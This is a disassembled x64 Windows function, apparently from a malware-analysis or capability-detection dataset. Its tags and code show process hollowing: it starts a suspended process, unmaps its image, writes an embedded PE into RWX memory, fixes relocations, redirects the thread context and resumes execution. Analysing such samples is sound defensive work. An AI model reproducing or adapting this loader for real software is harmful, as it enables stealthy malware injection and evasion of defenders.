Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inspect section memory permissions
Resume thread
Use process replacement

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x518]
sub rsp, 0x618
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xorps xmm1, xmm1
mov dword [rbp + 0x480], 0x68
xor eax, eax
xor r12d, r12d
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
mov dword [rbp + 0x4e4], eax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rbp + 0x480]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp + 0x484], xmm1
movups xmmword [rbp + 0x494], xmm1
movups xmmword [rbp + 0x4a4], xmm1
movups xmmword [rbp + 0x4b4], xmm1
movups xmmword [rbp + 0x4c4], xmm1
movups xmmword [rbp + 0x4d4], xmm1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x18000113c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_CreateProcessA__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x180001754
xor ecx, ecx
mov qword [rsp + 0x600], r15
mov edx, 0x2a600
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x58], rax
mov r15, rax
test rax, rax
jne 0x180001183
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_VirtualAlloc__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x18000174c
mov qword [rsp + 0x640], rsi
lea rdx, [0x180021a70]
mov r8d, 0x2a600
mov qword [rsp + 0x608], r14
mov rcx, r15
call fcn.1800151a0
movsxd r14, dword [r15 + 0x3c]
lea rcx, [rbp - 0x70]
add r14, r15
xor edx, edx
mov r8d, 0x4d0
mov rsi, qword [r14 + 0x30]
mov qword [rsp + 0x60], rsi
call fcn.180014de0
mov rcx, qword [rsp + 0x78]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x40], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1800011fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_GetThreadContext__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x18000173c
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x478]
mov qword [rsp + 0x648], rdi
lea r8, [rbp - 0x78]
mov rdi, qword [rbp + 0x18]
mov qword [rsp + 0x610], r13
add rdi, 0x10
mov r13d, 8
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov r9d, r13d
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x180001260
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rdi
lea rcx, str.Error_at_ReadProcessMemory__0x_x__code___d_n
mov r8d, eax
call fcn.180001010
xor eax, eax
jmp 0x18000172c
mov qword [rsp + 0x638], rbx
mov rbx, qword [rbp - 0x78]
cmp rbx, rsi
jne 0x1800012b7
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x70]
mov rdx, rbx
call rax
test eax, eax
je 0x1800012b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_NtUnmapViewOfSection__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x180001724
mov r8d, dword [r14 + 0x50]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x70]
mov rdx, rsi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x180001332
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x180001317
mov r8d, dword [r14 + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x70]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x180001332
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_VirtualAllocEx__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x180001724
cmp rbx, rax
je 0x180001361
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x468]
mov r9, r13
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x68]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001707
mov edi, 2
mov word [r14 + 0x5c], di
mov rcx, qword [rsp + 0x68]
cmp rcx, rsi
je 0x180001515
test byte [r14 + 0x16], 1
je 0x180001393
lea rcx, str.Cannot_relocate_the_PE_because_the_relocation_table_is_stripped_n
call fcn.180001010
xor eax, eax
jmp 0x180001724
movzx r10d, word [r14 + 0x14]
mov ebx, r12d
movzx edi, word [r14 + 6]
add r10, r14
mov r11d, dword [r14 + 0xb0]
mov r8d, r12d
mov qword [r14 + 0x30], rcx
test edi, edi
je 0x1800013f3
nop word [rax + rax]
mov eax, r8d
lea rdx, [rax + rax*4]
mov r9d, dword [r10 + rdx*8 + 0x24]
cmp r11d, r9d
jb 0x1800013de
mov ecx, dword [r10 + rdx*8 + 0x20]
add ecx, r9d
cmp r11d, ecx
jb 0x1800013e8
inc r8d
cmp r8d, edi
jb 0x1800013c0
jmp 0x1800013f3
mov ebx, dword [r10 + rdx*8 + 0x2c]
sub ebx, r9d
add ebx, r11d
mov edx, dword [r14 + 0xb4]
mov eax, r12d
mov ecx, ebx
add rcx, r15
mov dword [rsp + 0x54], edx
mov qword [rbp + 0x468], rcx
mov dword [rsp + 0x50], eax
test edx, edx
je 0x18000150b
mov r8d, 0xfff
nop
mov r13d, eax
add r13, rcx
mov eax, dword [r13 + 4]
lea rsi, [r13 + 8]
sub rax, 8
shr rax, 1
test eax, eax
je 0x1800014ec
mov r15d, eax
movzx ecx, word [rsi]
movzx eax, cx
and cx, r8w
shr ax, 0xc
cmp ax, 3
je 0x18000145a
cmp ax, 0xa
jne 0x1800014d3
movzx r11d, word [r14 + 0x14]
mov edi, r12d
movzx ebx, word [r14 + 6]
add r11, r14
movzx r10d, cx
mov r8d, r12d
add r10d, dword [r13]
test ebx, ebx
je 0x1800014b3
nop dword [rax]
mov eax, r8d
lea rax, [rax + rax*4]
mov r9d, dword [r11 + rax*8 + 0x24]
cmp r10d, r9d
jb 0x18000149e
mov edx, dword [r11 + rax*8 + 0x20]
add edx, r9d
cmp r10d, edx
jb 0x1800014a8
inc r8d
cmp r8d, ebx
jb 0x180001480
jmp 0x1800014b3
mov edi, dword [r11 + rax*8 + 0x2c]
sub edi, r9d
add edi, r10d
mov edx, edi
mov r8d, 0xfff
add rdx, qword [rsp + 0x58]
mov rcx, qword [rdx]
sub rcx, qword [rsp + 0x60]
mov qword [rdx], rcx
add rcx, qword [rsp + 0x68]
mov qword [rdx], rcx
add rsi, 2
sub r15, 1
jne 0x180001440
mov rcx, qword [rbp + 0x468]
mov edx, dword [rsp + 0x54]
mov eax, dword [rsp + 0x50]
add eax, dword [r13 + 4]
mov dword [rsp + 0x50], eax
cmp eax, edx
jb 0x180001420
mov r15, qword [rsp + 0x58]
mov r13d, 8
mov rcx, qword [rsp + 0x68]
mov edi, 2
mov eax, dword [r14 + 0x28]
lea rdx, [rbp - 0x70]
add rax, rcx
mov rcx, qword [rsp + 0x78]
mov qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x18000154e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_SetThreadContext__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x180001724
mov r9d, dword [r14 + 0x54]
lea rax, [rbp + 0x470]
mov rdx, qword [rsp + 0x68]
mov r8, r15
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001707
mov r8d, dword [r14 + 0x54]
lea rax, [rbp + 0x460]
mov rdx, qword [rsp + 0x68]
mov r9d, edi
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1800016ef
movsxd rbx, dword [r15 + 0x3c]
add rbx, 0x114
cmp r12w, word [r14 + 6]
jae 0x1800016c7
add rbx, r15
nop dword [rax]
mov r8d, dword [rbx + 8]
lea rax, [rbp + 0x470]
mov edx, dword [rbx]
add r8, r15
add rdx, qword [rsp + 0x68]
mov r9d, dword [rbx + 4]
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001707
movzx eax, word [r14 + 6]
mov r10d, dword [rbx]
dec eax
cmp r12d, eax
jne 0x180001606
mov edx, dword [r14 + 0x50]
jmp 0x180001609
mov edx, dword [rbx + 0x28]
mov ecx, dword [rbx + 0x18]
sub edx, r10d
mov eax, ecx
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x180001625
mov r9d, 0x40
jmp 0x18000168c
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x18000163b
mov r9d, 0x20
jmp 0x18000168c
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x180001651
mov r9d, 0x80
jmp 0x18000168c
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x180001667
mov r9d, 4
jmp 0x18000168c
bt ecx, 0x1d
jae 0x180001675
mov r9d, 0x10
jmp 0x18000168c
bt ecx, 0x1e
jae 0x180001680
mov r9d, edi
jmp 0x18000168c
test ecx, ecx
mov r9d, 1
cmovs r9d, r13d
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x460]
mov r8d, edx
mov edx, r10d
add rdx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1800016ef
movzx eax, word [r14 + 6]
inc r12d
add rbx, 0x28
cmp r12d, eax
jl 0x1800015c0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x18000171f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_ResumeThread__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x180001724
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_VirtualProtectEx__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x180001724
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_WriteProcessMemory__code___d_n
call fcn.180001010
xor eax, eax
jmp 0x180001724
mov eax, 1
mov rbx, qword [rsp + 0x638]
mov r13, qword [rsp + 0x610]
mov rdi, qword [rsp + 0x648]
mov rsi, qword [rsp + 0x640]
mov r14, qword [rsp + 0x608]
mov r15, qword [rsp + 0x600]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.1800017e0
add rsp, 0x618
pop r12
pop rbp
ret